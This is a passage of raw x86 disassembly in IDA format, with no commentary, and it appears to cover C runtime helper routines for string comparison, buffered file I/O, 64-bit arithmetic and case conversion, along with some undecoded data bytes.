word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 27901DBh lea eax, [ebp+var_20] push eax nop call near ptr 286101Dh mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call near ptr 2860000h nop cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2690DA5h cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 26908FFh nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D call near ptr 26908FFh nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 call near ptr 2830000h nop cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 13h dd 9CC7FF9Dh, 1FFFA547h, 6F20175Fh, 0A1643769h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 4039E8E8h, 33900245h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 453FE0E8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 0A3E89056h, 50022734h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax call near ptr 2670822h nop test eax, eax jnz short loc_41DAEB call near ptr 26908FFh nop mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj 